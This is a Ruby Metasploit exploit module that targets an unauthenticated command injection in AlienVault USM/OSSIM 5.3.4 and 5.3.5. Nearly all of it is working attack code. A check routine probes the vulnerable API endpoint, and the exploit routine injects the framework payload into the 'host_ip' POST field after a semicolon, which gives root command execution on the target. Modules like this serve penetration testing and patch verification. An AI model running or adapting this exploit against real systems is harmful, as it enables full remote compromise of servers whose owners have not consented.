##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'AlienVault USM/OSSIM API Command Execution',
      'Description'   => %q{
        This module exploits an unauthenticated command injection in Alienvault USM/OSSIM versions 5.3.4 and 5.3.5. The vulnerability lies in an API function that does not check for authentication and then passes user input directly to a system call as root. 
      },
      'Author'        =>
        [
          'Unknown', # Privately disclosed to Alienvault
          'Peter Lapp (lappsec@gmail.com)' # Metasploit module
        ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          ['URL', 'https://www.alienvault.com/forums/discussion/8415/']
        ],
      'Privileged'     => false,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Compat'      => {
            'PayloadType' => 'cmd'
          }
        },
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'Targets'        =>
        [
          [ 'Automatic', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 5 2017'))

    register_options(
      [
        Opt::RPORT(40011)
      ], self.class)
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri'      => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
      'vars_post' => {
        'host_ip'    => "127.0.0.1"
      },
          'headers'  => {
            'Accept' => "application/json"
      }
    })

    if res and res.code == 200 and res.body.include?('success')
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    print_status("Executing payload...")

    res = send_request_cgi({
      'method' => 'POST',
      'uri'      => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
      'vars_post' => {
        'host_ip'    => ";#{payload.encoded}"
      },
          'headers'  => {
            'Accept' => "application/json"
      }
    })
  end


end